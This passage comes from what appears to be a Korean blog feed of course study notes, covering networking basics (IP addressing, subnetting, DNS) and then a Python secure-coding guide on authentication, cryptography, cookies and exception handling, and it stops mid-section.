<p><strong><a href="http://%20https://krnic.kisa.or.kr/jsp/resources/ipv4Info.jsp">특수 목적</a>으로 예약된 공인 IPv4</strong></p>
</blockquote>
<p>특수 목적으로 예약된 것은 공인 IP 주소로 할당받는 것이 불가능하다.</p>
<p>IPv4 주소는 전화번호와 같이 국내에서 표준을 정하여 이용자에게 무한히 할당할 수 있는 자원이 아니라 전 세계적으로 관리되는 유한한 (약 43억 개) 자원이다. 일부는 특수한 목적으로 예약되었으며, 주소 규정에 의하여 사용이 제한적이기 때문에 IP주소 할당 정책에 따라 부여하여 사용해야 한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c3e1e6a9-c4f3-4336-bf1a-5995dc999c75/image.png" alt=""></p>
<br>

<h2 id="2-서브넷-마스크subnet-mask"><strong>2) 서브넷 마스크(Subnet Mask)</strong></h2>
<blockquote>
<p><strong>IP 주소를 네트워크 ID와 호스트 ID로 구분하는 방법</strong><br><strong>서브넷 마스크값을 조정해서 네트워크 영역을 조절</strong></p>
</blockquote>
<p>IP가 192.168.0.143이고, 서브넷 마스크가 255.255.255.0가 있다고 가정한다. 서브넷 마스크는 and 연산을 하면 내가 사용할 네트워크 ID를 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f42e5ed7-0ca2-4573-8fa6-e8c1cfd67563/image.png" alt=""></p>
<ul>
<li>네트워크 ID<ul>
<li>많은 LAN 영역에서 자기 LAN 영역을 구분하기 위한 식별자</li>
</ul>
</li>
<li>호스트 ID<ul>
<li>해당 LAN 영역에 속한 호스트 각각을 구분하기 위한 식별자</li>
</ul>
</li>
</ul>
<br>

<h2 id="3-cidrclassless-inter-domain-routing"><strong>3) CIDR(Classless Inter-Domain Routing)</strong></h2>
<blockquote>
<p><strong>클래스의 제한을 두지 않고 필요한 호스의 수에 따라 적당한 크기의 IP 주소를 할당하는 방법</strong><br><strong>다양한 길이의 전치부를 이용한 할당 방법</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8916d2f7-a1b8-4616-b5c2-19fe6caba695/image.png" alt=""></p>
<br>

<h2 id="4-게이트웨이gateway"><strong>4) 게이트웨이(gateway)</strong></h2>
<blockquote>
<p><strong>각기 다른 네트워크 ID를 사용하는 LAN 영역 사이를 연결해 주는 기능</strong><br><strong>라우터라고 부름</strong></p>
</blockquote>
<p>L3 (네트워크) 계층의 장비다. 게이트웨이는 소프트웨어적인 측면을 강조하고, 라우터는 하드웨어 측면을 강조해 말하는 것이다.</p>
<br>

<h2 id="5-라우팅-vs-스위칭"><strong>5) 라우팅 vs 스위칭</strong></h2>
<ul>
<li>라우팅<ul>
<li>다른 네트워크 ID를 사용하는 LAN 영역 사이트를 연결해 주는 기능</li>
<li>인터넷상의 트래픽 단위인 패킷을 효율적이고 효과적으로 최단 거리 또는 최단 시간에 전달할 수 있도록 하는 것</li>
<li>출발지부터 최종 목적지까지 논리적으로 주소가 부여된 패킷의 전달 과정</li>
</ul>
</li>
<li>스위칭<ul>
<li>LAN 영역에서 MAC 주소에 기반해 내부 통신을 수행하는 과정</li>
</ul>
</li>
</ul>
<br>

<h1 id="2-osi-7-layer"><strong>2. OSI 7 layer</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e96f2e49-8f77-40ae-ac30-cd6aa399c5c0/image.png" alt=""></p>
<p>송신 호스트에서 전송할 데이터가 만들어지면 상위 계층부터 하위 계층으로 내려오면서 계층별로 필요한 정보를 붙인다. 수신에서는 각 계층에서 필요한 것을 가져다 쓴다. 송신 호스팅에서 내려오는 것을 인코딩, 수신 호스트로 올라가는 것을 디코딩이라고 부른다.</p>
<br>

<h2 id="1-계층별-네트워크-장비"><strong>1) 계층별 네트워크 장비</strong></h2>
<ul>
<li>L1 (물리) 계층<ul>
<li>Repeater, Hub</li>
</ul>
</li>
<li>L2 (데이터 링크) 계층<ul>
<li>Switch</li>
<li>Bridge</li>
</ul>
</li>
<li>L3 (네트워크) 계층<ul>
<li>Router</li>
<li>L3 Switch</li>
</ul>
</li>
</ul>
<br>

<h1 id="3-lan"><strong>3. LAN</strong></h1>
<blockquote>
<p><strong>동일한 네트워크 ID를 공유하는 장치들의 집합</strong><br><strong>동일한 게이트웨이 주소를 사용하는 장치들의 집합</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/287f623f-3064-446e-a18d-9c5b5a64f573/image.png" alt=""></p>
<br>

<h1 id="4-ipconfigall"><strong>4. ipconfig/all</strong></h1>
<blockquote>
<p><strong>모든 설정 정보</strong> </p>
</blockquote>
<p>이전에 했던 ipconfig는 기본 설정 정보를 보여주고, ipconfig/all은 모든 설정 정보를 보여준다.</p>
<br>

<h1 id="5-dnsdomain-name-server-서버"><strong>5. DNS(Domain Name Server) 서버</strong></h1>
<blockquote>
<p><strong>도메인 이름과 IP 주소의 대응 관계를 데이터베이스 형태로 저장하고 제공하는 서비스</strong></p>
</blockquote>
<p>호스트의 도메인 이름을 호스트의 네트워크 주소로 바꾸거나 그 반대의 변환을 수행할 수 있도록 하기 위해 개발했다.</p>
<br>

<h2 id="1-도메인-주소-장점"><strong>1) 도메인 주소 장점</strong></h2>
<ul>
<li>하나의 IP 주소를 이용해 여러 개의 웹 서비스 운영이 가능</li>
<li>서비스 중인 IP 주소가 바뀌더라도 도메인 주소를 그대로 유지해 접속 방법 변경 없이 서비스를 유지할 수 있음 </li>
<li>지리적으로 여러 위치에서 서비스 가능</li>
</ul>
<br>

<h2 id="2-구조"><strong>2) 구조</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/44979a7a-62fe-4313-9445-f657cd22c37c/image.png" alt=""></p>
<ul>
<li>역트리 구조로 최상위 루트부터 top-level 도메인, second-level 도메인, third-level 도메인과 같이 하위 레벨로 원하는 주소를 단계적으로 검색 </li>
<li>각 계층의 경계는 &quot;.&quot;으로 표시하고 뒤에서 앞으로 해석</li>
<li>thrid.second.top. 과 같은 형태로 표현하고 맨 뒤의 루트(.)는 생략</li>
</ul>
<br>

<h2 id="3-dns-명명-규칙"><strong>3) DNS 명명 규칙</strong></h2>
<ul>
<li>도메인 계층은 최대 128계층까지 구성 가능</li>
<li>계층별 길이는 최대 63byte까지 사용 가능</li>
<li>도메인 계층 구분자(&quot;.&quot;)를 포함해 전체 도메인 네임의 길이는 최대 255byte까지 사용 가능</li>
<li>문자는 알파벳, 숫자, &quot;-&quot;만 사용 가능</li>
<li>대소문자 구분하지 않음</li>
</ul>
<br>

<h2 id="4-루트-도메인"><strong>4) 루트 도메인</strong></h2>
<ul>
<li>도메인을 구성하는 최상위 영역</li>
<li>DNS 서버는 사용자가 쿼리한 도메인에 값을 직접 갖고 있거나 캐시에 저장된 정보를 이용해 응답</li>
<li>DNS 서버에 해당 도메인의 정보가 없으면 루트 도메인을 관리하는 루트 DNS에 쿼리</li>
<li>루트 DNS는 전 세계에 13개</li>
<li>DNS 서버를 설치하면 루트 DNS의 IP 주소를 기록한 힌트 파일을 가지고 있어 루트 DNS 관련 정보를 별도로 설정할 필요가 없음 </li>
<li><strong><a href="https://www.iana.org/domains/root/servers">루트 도메인</a></strong></li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/70bd0ab0-8962-4460-92e2-2d9e8104dbed/image.png" alt=""></p>
<br>

<h2 id="5-tldtop-level-domain"><strong>5) TLD(Top-Level Domain)</strong></h2>
<blockquote>
<p><strong>IANA(Internet Assigned Numbers Authority)에서 6가지 유형으로 구분</strong></p>
</blockquote>
<ul>
<li>generic(gTLD)<ul>
<li>특별한 제한 없이 일반적으로 사용되는 최상위 도메인으로 세 글자 이상으로 구성</li>
<li>필요에 의해 새로운 gTLD가 지속적으로 만들어지고 있음</li>
</ul>
</li>
<li>country-code (ccTLD)<ul>
<li>국가 최상위 도메인으로 <a href="https://www.iso.org/obp/ui/#search">ISO 3166 표준</a>에 의해 규정된 두 글자의 국자 코드를 사용</li>
<li>ccTLD를 사용하는 경우 Second Level TLD에는 gTDL에서 구분한 것처럼 사이트 용도에 따른 코드 사용</li>
<li>우리나라는 gTLD를 두 글자로 줄여서 사용</li>
<li>호주나 대만 등은 gTDL을 그대로 사용하는 나라도 있음(com.au, gov.au)</li>
</ul>
</li>
<li>sponsore(sTLD)<ul>
<li>특정 목적을 위한 스폰서를 두고 있는 최상위 도메인</li>
<li>스폰서는 특정 민족공동체, 전문가 집단, 지리적 위치 등이 속할 수 있음</li>
</ul>
</li>
<li>infrastructure<ul>
<li>운용상 중요한 인프라 식별자 공간을 지원하기 위해 전용으로 사용되는 최상위 도메인</li>
<li>.arrpa 인터넷 안정성을 유지하기 위해 새로운 모든 인프라 하위 도메인이 배치될 도메인 공간 역할</li>
</ul>
</li>
<li>generic-restricter (grTLD)<ul>
<li>특정 기준을 충족하는 사람이나 단체가 사용할 수 있는 최상위 도메인</li>
<li>..biz, .namee, .pro</li>
</ul>
</li>
<li>test(tTLD)<ul>
<li>IDN(Internationalized Domain Name) 개발 프로세스에서 테스트 목적으로 사용하는 최상위 도메인 </li>
<li>.test</li>
</ul>
</li>
</ul>
<br>

<h2 id="6-dns-캐시"><strong>6) DNS 캐시</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c88eba97-d4f9-4cd1-a874-90b96e26a118/image.png" alt=""></p>
<br>

<h2 id="7-dns-동장-방식"><strong>7) DNS 동장 방식</strong></h2>
<blockquote>
<p><strong>재귀적 쿼리 + 반복적 쿼리</strong></p>
</blockquote>
<ul>
<li>재귀적 쿼리는 쿼리를 보낸 클라이언트에 서버가 최종 결괏값을 반환하는 서버 중심 쿼리</li>
<li>반복적 쿼리는 최종값을 받을 때까지 클라이언트에서 쿼리를 계속 진행하는 방식</li>
<li>재귀적 쿼리는 클라이언트와 로컬 DNS 간에서 사용</li>
<li>반복적 쿼리는 로컬 DNS 서버와 상위 DNS 구간에서 사용</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/bee7c14a-d8e5-4dfb-b706-de17e8991c16/image.png" alt=""></p>
<br>

<h2 id="8-dns-영역-파일-주요-레코드"><strong>8) DNS 영역 파일 주요 레코드</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7821f226-5838-4b87-aaa1-573638a4ef02/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/563e25fe-3fcc-42c2-a93a-2054d64604c4/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - Python 시큐어코딩 가이드 2]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Python-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9-%EA%B0%80%EC%9D%B4%EB%93%9C-2</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Python-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9-%EA%B0%80%EC%9D%B4%EB%93%9C-2</guid>
            <pubDate>Tue, 02 Apr 2024 01:38:56 GMT</pubDate>
            <description><![CDATA[<h1 id="1-보안-기능"><strong>1. 보안 기능</strong></h1>
<blockquote>
<p><strong>보안과 관련한 기능을 구현하지 않거나 부적절하게 구현한 경우 발생</strong></p>
</blockquote>
<p>인증, 인가, 접근통제, 암호화, 권한관리 등을 부적절하게 구현 시 발생하는 보안 약점은 적절한 인증 없는 중요기능 허용, 부적절한 인가 등이 있다.</p>
<p>중요한 정보가 있을 때, 이 중요한 정보를 보호하기 위해서는 인가된 사용자만 접근할 수 있도록 접근 통제를 하고, 식별, 인증, 인가를 해야 한다.</p>
<p>접근 통제에 문제가 생기는 것은 중요 정보에 권한이 없는 사용자에게 중요 정보가 노출된다고 한다. 권한이 없는 사용자가 중요 정보를 획득했을 때 중요 정보를 알지 못하도록 방어하기 위해서 암호화한다. </p>
<br>

<h2 id="1-적절한-인증-없는-중요-기능-허용"><strong>1) 적절한 인증 없는 중요 기능 허용</strong></h2>
<blockquote>
<p><strong>인증된 사용자인지 확인하지 않고 기능을 제공할 때 발생</strong> </p>
</blockquote>
<p>Django 에서 기본적인 인증 로그인, 로그아웃 기능을 제공하고, DRF에서는 토큰 및 세션 인증을 제공하고 있다.</p>
<h3 id="1-안전한-코딩기법"><strong>(1) 안전한 코딩기법</strong></h3>
<p>클라이언트의 보안 검사를 우회하여 서버에 접근하지 못 하도록 설계하고 중요한 정보가 있는 페이지는 재인증을 적용해야 한다. 검증된 라이브러리, 프레임워크를 사용해야 한다.</p>
<br>

<h2 id="2-부적절한-인가"><strong>2) 부적절한 인가</strong></h2>
<h3 id="1-접근통제-유형"><strong>(1) 접근통제 유형</strong></h3>
<ul>
<li>화면에서의 접근통제<ul>
<li>권한 있는 사용자에게만 기능 버튼, 링크, 메뉴를 제공</li>
</ul>
</li>
<li>기능에서의 접근통제<ul>
<li>모든 요청을 처리하는 것이 아니고, 권한이 있는 사용자의 요청만 처리</li>
</ul>
</li>
<li>데이터에서의 접근통제<ul>
<li>접근할 수 있는 데이터에 대해서 처리를 제공</li>
</ul>
</li>
</ul>
<p>접근통제를 검사하지 않거나 불완전하게 검사하는 경우 공격자는 접근할 수 있는 실행경로를 통해 정보를 유출할 수 있다.</p>
<h3 id="2-안전한-코딩기법"><strong>(2) 안전한 코딩기법</strong></h3>
<p>프로그램이 제공하는 정보와 기능이 가지는 역할에 맞게 분리 개발함으로써 공격자에게 노출되는 공격 정보를 최소화하고 사용자의 권한에 따른 ACL을 관리한다.</p>
<br>

<h2 id="3-중요한-자원에-대한-잘못된-권한-설정"><strong>3) 중요한 자원에 대한 잘못된 권한 설정</strong></h2>
<p>파일을 생성할 때 과도한 권한을 부여 하면 의도하지 않은 사용자가 해당 자원을 사용하게 된다.</p>
<h3 id="1-안전한-코딩기법-1"><strong>(1) 안전한 코딩기법</strong></h3>
<p>중요한 파일(설정 파일, 실행 파일, 라이브러리 등)은 관리자만 읽고 쓰기가 가능하도록 설정하고 중요한 파일 같이 중요한 자원을 사용하는 경우 허가 받지 않은 사용자의 접근을 검증, 제한한다.</p>
<br>

<h2 id="4-취약한-암호화-알고리즘-사용"><strong>4) 취약한 암호화 알고리즘 사용</strong></h2>
<p>암호화는 접근통제에 문제가 생겼을 때 그 정보를 보호하기 위한 수단이다. 정보보호 측면에서 취약하거나 위험한 암호화 알고리즘을 사용해서는 안 된다. 오래된 암호화 알고리즘의 경우는 컴퓨터의 성능이 향상됨에 따라 취약해지기도 한다.</p>
<h3 id="1-안전한-코딩기법-2"><strong>(1) 안전한 코딩기법</strong></h3>
<ul>
<li>안전한 암호화 알고리즘 사용<ul>
<li>보안성이 검증된 알고리즘</li>
<li>보안 강도를 보장하는 알고리즘</li>
<li>인코딩 / 디코딩 방법은 암호화 처리에 사용하면 안 됨</li>
</ul>
</li>
<li>안전한 암호화 알고리즘이 보안 강도를 보장할 수 있는 충분한 키 길이 사용</li>
<li>암호화에 사용되는 키를 안전하게 생성하고 관리</li>
<li>취약한 암호화 알고리즘 사용 금지<ul>
<li>RC2(ARC2)</li>
<li>RC4(ARC4)</li>
<li>RC5,</li>
<li>RC6</li>
<li>MD4</li>
<li>MD5</li>
<li>SHA1</li>
<li>DES</li>
</ul>
</li>
</ul>
<p>암호화 알고리즘은 이미 검증된 알고리즘을 사용해야 하며 자신만의 암호화 알고리즘을 개발하는 것은 위험하다.</p>
<br>

<h2 id="5-암호화되지-않은-중요정보"><strong>5) 암호화되지 않은 중요정보</strong></h2>
<blockquote>
<p><strong>중요 정보를 암호화하지 않고 전송하거나 저장할 때 발생</strong></p>
</blockquote>
<p>중요 정보가 포함된 데이터를 평문으로 전송 또는 저장 시 인가되지 않은 사용자에게 민감한 정보가 노출될 수 있다.</p>
<h3 id="1-안전한-코딩기법-3"><strong>(1) 안전한 코딩기법</strong></h3>
<p>중요 정보를 전송할 때는 반드시 암호화 처리를 하고, 읽거나 쓸 경우에 권한 인증을 통해 인가된 사용자만 중요 정보에 접근하도록 해야 한다. 데이터를 전송할 때 암호화 해서 전송하거나 HTTPS, SSH, SSL과 보안 통신을 이용해서 전송한다.</p>
<p>쿠키에 중요 데이터를 저장하는 경우 쿠키 객체에 보안 속성을 설정해 중요 정보의 노출을 방지할 수 있다.</p>
<br>

<h2 id="6-하드-코드-된-중요-정보"><strong>6) 하드 코드 된 중요 정보</strong></h2>
<blockquote>
<p><strong>주요 정책이나 코드를 신규로 적용하는 것과 일관되게 변경하기가 어렵다.</strong></p>
</blockquote>
<p>코드 내부에 하드 코드 된 패스워드를 포함하고, 이를 이용해 내부 인증에 사용하거나 외부 컴포넌트와 통신을 하는 경우 관리자의 정보가 노출될 수 있다. 하드 코드 된 암호화 키를 사용해 암호화할 때 암호키의 해시를 계산해 저장하더라도 역계산이 가능해 Brute Force 공격에는 취약하다.</p>
<h3 id="1-안전한-코딩기법-4"> <strong>(1) 안전한 코딩기법</strong></h3>
<p>패스워드는 암호화 후 별도의 파일에 저장해야 한다. 중요 정보 암호화 시 상수가 아닌 암호화 키를 사용하고, 암호화가 잘 되었더라도 소스코드 내부에 상수 형태의 암호화 키를 주석으로 달거나 저장하면 안 된다.</p>
<br>

<h2 id="7-충분하지-않은-키-길이-사용"><strong>7) 충분하지 않은 키 길이 사용</strong></h2>
<p>암호화에 안정성을 보장할 수 있는 길이의 암호화 키를 사용하지 않아서 발생한다.</p>
<h3 id="1-안전한-코딩기법-5"><strong>(1) 안전한 코딩기법</strong></h3>
<p>RSA 알고리즘은 적어도 2,048비트 이상의 길이를 가진 키와 함께 사용해야 하고, 대칭 암호화 알고리즘의 경우에는 적어도 128비트 이상의 키를 사용해야 한다</p>
<br>

<h2 id="8-적절하지-않은-난수-값-사용"><strong>8) 적절하지 않은 난수 값 사용</strong></h2>
<p>예측 불가능한 숫자가 필요한 상황에서 예측할 수 있는 난수를 사용한다면 공격자가 생성되는 다음 숫자를 예상해 시스템을 공격할 수 있다.</p>
<h3 id="1-안전한-코딩기법-6"><strong>(1) 안전한 코딩기법</strong></h3>
<p>난수 함수에서 시드를 사용하는 경우에는 고정된 값을 사용하지 않고 예측하기 어려운 방법으로 생성된 값을 사용한다.</p>
<p>난수 함수를 사용할 때는 시드를 설정할 수 없는 난수 함수를 사용하면 안 된다.</p>
<br>

<h2 id="9-취약한-패스워드-허용"><strong>9) 취약한 패스워드 허용</strong></h2>
<blockquote>
<p><strong><a href="https://www.kisa.or.kr/2060305/form?postSeq=14&amp;lang_type=KO">패스워드 선택 및 이용 안내서</a></strong></p>
</blockquote>
<p>패스워드를 생성할 때 사용자에게 강한 조합 규칙을 요구하지 않으면 계정이 취약해지기 때문에 패스워드 선택 및 이용 안내서에서 제시하는 패스워드 설정 규칙을 사용한다.</p>
<h3 id="1-안전한-코딩기법-7"><strong>(1) 안전한 코딩기법</strong></h3>
<p>패스워드 선택 및 이용 안내서에도 나오듯이 패스워드는 숫자, 영문자, 특수문자 등을 혼합하여 글자 수를 제한해서 사용해야 하고 주기적으로 변경하도록 해야 한다.</p>
<br>

<h2 id="10-부적절한-전자서명-확인"><strong>10) 부적절한 전자서명 확인</strong></h2>
<p>프로그램 코드의 전자서명에 대한 유효성 검증이 적절하지 않아 공격자의 악의적인 코드를 실행할 수 있는 보안 약점으로, 클라이언트와 서버 사이의 주요 데이터 전송, 파일 다운로드 시 발생할 수 있다.</p>
<h3 id="1-안전한-코딩기법-8"><strong>(1) 안전한 코딩기법</strong></h3>
<p>주요 데이터 전송 또는 다운로드 시 데이터에 대한 전자서명을 함께 전송하고 수신 측에서는 전달받은 전자 서명을 검증해 파일의 변조 여부를 확인해야 한다.</p>
<p>비대칭 키 알고리즘을 사용한다. 비대칭 키 알고리즘은 암호화에 사용하는 키와 복호화에 사용하는 키가 상이한 알고리즘이다. 개인키로 암호화하면 공개키로 복호화하고, 공개키로 암호화하면 개인키로 복호화할 수 있다.</p>
<p>송신자의 개인키로 암호화해서 전달하면 수신자가 송신자의 공개키를 취득해서 복호화할 수 있다. 송신자의 공개키는 누구나가 취득할 수 있으므로 복호화가 가능하다. 송신자의 공개키로 복호화한다는 것은 송신자만 가지고 있는 개인키로 암호화했다는 것을 반증하고 송신자가 만든 것이 맞다는 것을 증명하는데 이를 부인방지, 원본증명, 인증했다고 할 수 있다.</p>
<p>송신자의 개인 키로 암호화하는 것을 전자서명이라고 하고, 송신자의 공개키로 복호화하는 것을 서명 검증한다고 한다.</p>
<p>송신자가 수신자의 공개키를 취득해서 암호화해서 전달하면 수신자는 자신의 개인키로 복호화할 수 있다. 이때는 암호화된 데이터는 누구나 받을 수 있지만, 복호화는 할 수 없게 된다. 이를 기밀성이 보장된다고 한다.</p>
<br>

<h2 id="11-부적절한-인증서-유효성-검증"><strong>11) 부적절한 인증서 유효성 검증</strong></h2>
<p>인증서가 유효하지 않거나 악성인 경우 공격자가 호스트와 클라이언트 사이의 통신 구간을 가로채 신뢰하는 엔티티인 것처럼 속일 수 있다.</p>
<p>신뢰하는 호스트로부터 전달받은 것처럼 보이는 스푸핑 된 데이터 또는 변조된 데이터를 아무런 의심 없이 수신하는 상황이 발생할 수 있다.</p>
<h3 id="1-유효성-검사"><strong>(1) 유효성 검사</strong></h3>
<ul>
<li>날짜</li>
<li>폐기 여부</li>
<li>신뢰할 수 있는 기간</li>
</ul>
<h3 id="2-안전한-코딩기법-1"><strong>(2) 안전한 코딩기법</strong></h3>
<p>인증서를 사용하는 경우 송신 측에서 전달한 인증서가 유효한지 검증한 후 데이터를 송수신해야 한다.</p>
<br>

<h2 id="12-사용자-하드디스크에-저장되는-쿠키를-통한-정보-노출"><strong>12) 사용자 하드디스크에 저장되는 쿠키를 통한 정보 노출</strong></h2>
<blockquote>
<p><strong>쿠키의 유효 기간 또는 지속 시간을 필요 이상으로 길게 잡는 경우</strong></p>
</blockquote>
<p>쿠키는 메모리에 상주하며, 브라우저가 종료되면 사라진다. 개발자가 원하는 경우, 브라우저 세션과 관계없이 지속해서 쿠키값을 저장하도록 설정할 수 있다. 이렇게 영속적인 쿠키에 저장하면 공격자는 쿠키에 접근할 기회를 많이 가지게 되고 시스템을 취약하게 만든다.</p>
<h3 id="1-안전한-코딩기법-9"><strong>(1) 안전한 코딩기법</strong></h3>
<ul>
<li>중요 정보를 쿠키에 저장하지 않음</li>
<li>중요 정보를 포함하는 경우 반드시 암호화해서 저장</li>
<li>유효 기간, 지속 시간을 필요한 만큼만 최소로 설정</li>
<li>보안 속성을 설정<ul>
<li>HTTPS 통신을 할 때만 쿠키를 서버로 전달하도록 제한</li>
</ul>
</li>
<li>HttpOnly 속성 설정<ul>
<li>JavaScript 등을 이용해서 쿠키에 접근하는 것을 방지</li>
</ul>
</li>
</ul>
<br>

<h2 id="13-주석문-안에-포함된-시스템-주요-정보"><strong>13) 주석문 안에 포함된 시스템 주요 정보</strong></h2>
<blockquote>
<p><strong>개발자가 편의를 위해서 주석문에 패스워드를 적어둔 경우</strong></p>
</blockquote>
<p>소프트웨어가 완성된 후에는 그것을 제거하는 것이 매우 어렵게 된다. 만약 공격자가 소스코드에 접근할 수 있다면 시스템에 손쉽게 침입할 수 있다.</p>
<h3 id="1-안전한-코딩기법-10"><strong>(1) 안전한 코딩기법</strong></h3>
<p>주석에는 아이디, 패스워드 등 보안과 관련된 내용을 기입하지 않는다.</p>
<br>

<h2 id="14-솔트-없이-일방향-해시-함수-사용"><strong>14) 솔트 없이 일방향 해시 함수 사용</strong></h2>
<p>중요 정보를 솔트 없이 일방향 해시함수를 사용해 저장한다면 공격자는 미리 계산된 레인보우 테이블을 이용해 해시값을 알아낼 수 있다.</p>
<h3 id="1-안전한-코딩기법-11"><strong>(1) 안전한 코딩기법</strong></h3>
<ul>
<li>안전한 해시 함수 사용</li>
<li>솔트를 적용</li>
<li>솔트는 안전하게 적용</li>
<li>솔트값은 사용자별로 유일하게 생성</li>
<li>사용자별 솔트 값을 별도로 저장</li>
</ul>
<br>

<h2 id="15-무결성-검사-없는-코드-다운로드"><strong>15) 무결성 검사 없는 코드 다운로드</strong></h2>
<blockquote>
<p><strong>외부에서 가져온 코드를 검증, 제한하지 않고 사용</strong></p>
</blockquote>
<p>외부에서 가져온 소스코드 또는 실행 파일을 검증, 제한 억이 다운로드 후 실행하는 프로그램이 있다. 이런 프로그램은 호스트 서버의 변조, DNS 스푸핑, 전송 시의 코드 변조 등의 방법을 이용해 악의적인 코드를 실행할 수 있다.</p>
<p>패일 무결성을 확인하는 두 가지 주요 방법은 암호화 해시 및 디지털 서명이 있다.</p>
<h3 id="1-안전한-코딩기법-12"><strong>(1) 안전한 코딩기법</strong></h3>
<p>DNS 스푸핑을 방어할 수 있는 DNS lookup을 수행하고 코드 전송 시 신뢰할 수 있는 암호화 알고리즘으로 암호화한다.</p>
<p>파일의 인증서 또는 해시값을 검사해 변조되지 않은 파일인지 확인한다.</p>
<br>

<h2 id="16-반복된-인증-시도-제한-기능-부재"><strong>16) 반복된 인증 시도 제한 기능 부재</strong></h2>
<p>일정 시간 내에 여러 번의 인증 시도 시 계정 잠금 또는 추가 인증 방법 등의 조치가 있어야 한다. 그렇지 않으면 공격자는 Brute Force 공격으로 로그인 성공 및 권한 획득을 할 수 있다.</p>
<h3 id="1-안전한-코딩기법-13"><strong>(1) 안전한 코딩기법</strong></h3>
<p>최대 인증 시도 횟수를 제한하고, 횟수를 초과할 경수 계정을 잠금 하거나 추가적인 인증 과정을 거치도록 한다.</p>
<p>CAPTCHA는 Two Factor 인증 방법도 있다.</p>
<br>

<h1 id="2-시간-및-상태"><strong>2. 시간 및 상태</strong></h1>
<p>동시 또는 거의 동시에 여러 코드 수행을 지원하는 병렬 시스템이나 하나 이상의 프로세스가 동작하는 환경에서 시간 및 상태를 부적절하게 관리하여 발생할 수 있는 보안 약점이다.</p>
<br>

<h2 id="1-경쟁-조건race-condition-검사-시점과-사용-시점"><strong>1) 경쟁 조건(Race condition): 검사 시점과 사용 시점</strong></h2>
<blockquote>
<p><strong>한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상</strong></p>
</blockquote>
<p>자원을 사용하기 전에 자원의 상태를 검사하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에 검사하는 시점에 존재하던 자원이 사용하던 시점에 사라지는 등 자원의 상태가 변하는 경우 발생한다.</p>
<p>하나의 자원에 대해 동시에 검사 시점과 사용 시점이 달라 생기는 보안 약점으로 인해 동기화 오류뿐만 아니라 교착상태 등과 같은 문제점이 발생할 수 있다.</p>
<h3 id="1-안전한-코딩기법-14"><strong>(1) 안전한 코딩기법</strong></h3>
<p>변수, 파일과 같은 공유자원을 여러 프로세스가 접근하여 사용할 경우 동기화 구문을 사용하여 한 번에 하나의 프로세스만 접근할 수 있게 해야 한다.</p>
<br>

<h2 id="2-종료되지-않는-반복문-또는-재귀-함수"><strong>2) 종료되지 않는 반복문 또는 재귀 함수</strong></h2>
<blockquote>
<p><strong>재귀 함수 구현 시 재귀문을 빠져나가는 조건을 구현하지 않으면 무한 재귀에 빠지게 되어 오류 발생</strong></p>
</blockquote>
<p>재귀 함수의 순환 횟수를 제어하지 못해 할당된 메모리나 스택 등의 자원이 의도한 범위를 과도하게 초과할 수 있다.</p>
<p>파이썬에서는 재귀 함수의 재귀 반복 제한이 적용되어 있어 무한루프가 발생하지 않는다.</p>
<h3 id="1-안전한-코딩기법-15"><strong>(1) 안전한 코딩기법</strong></h3>
<p>재귀 함수 호출 시 횟수를 제한하거나 재귀 함수 종료 조건을 명확히 정의해야 한다.</p>
<br>

<h1 id="3-예외-처리"><strong>3. 예외 처리</strong></h1>
<blockquote>
<p><strong>예외를 처리하지 않거나 불충분하게 처리하여 에러 정보에 중요정보가 포함될 때 발생할 수 있는 보안 약점</strong></p>
</blockquote>
<br>

<h2 id="1-오류-메시지-정보-노출"><strong>1) 오류 메시지 정보 노출</strong></h2>
<blockquote>
<p><strong>오류 메시지를 통한 시스템 정보의 과도한 노출</strong></p>
</blockquote>
<p>민감한 정보를 포함하는 오류 메시지를 생성해 외부에 제공하는 경우 공격자는 프로그램 내부 구조를 쉽게 파악할 수 있어 악성 행위로 이어질 수 있다.</p>
<h3 id="1-안전한-코딩기법-16"><strong>(1) 안전한 코딩기법</strong></h3>
<p>오류 메시지는 사용자에게 추상적인 내용 또는 최소한의 유용한 정보만 포함해야 한다. 민감한 정보를 포함하지 않고 미리 정의된 메시지를 제공해야 한다. </p>
<br>

<h2 id="2-오류-상황-대응-부재"><strong>2) 오류 상황 대응 부재</strong></h2>
<blockquote>
<p><strong>오류에 대해 예외 처리를 하지 않을 경우 발생</strong></p>
</blockquote>
<p>오류에 대해 예외 처리를 하지 않을 경우 공격자는 오류 상황을 악용해 개발자가 의도하지 않은 방향으로 동작하도록 할 수 있다.</p>
<h3 id="1-안전한-코딩기법-17"><strong>(1) 안전한 코딩기법</strong></h3>
<p>예외 처리는 코드를 견고하게 만들고 오류가 발생할 수 있는 부분에 대하여 제어문을 사용해 적절하게 예외 처리한다.</p>
<br>

<h2 id="3-부적절한-예외-처리"><strong>3) 부적절한 예외 처리</strong></h2>
<p>함수의 결괏값에 대한 적절한 처리 또는 예외 상황에 대한 조건을 적절하게 검사하지 않을 경우 발생한다.</p>
<h3 id="1-안전한-코딩기법-18"><strong>(1) 안전한 코딩기법</strong></h3>
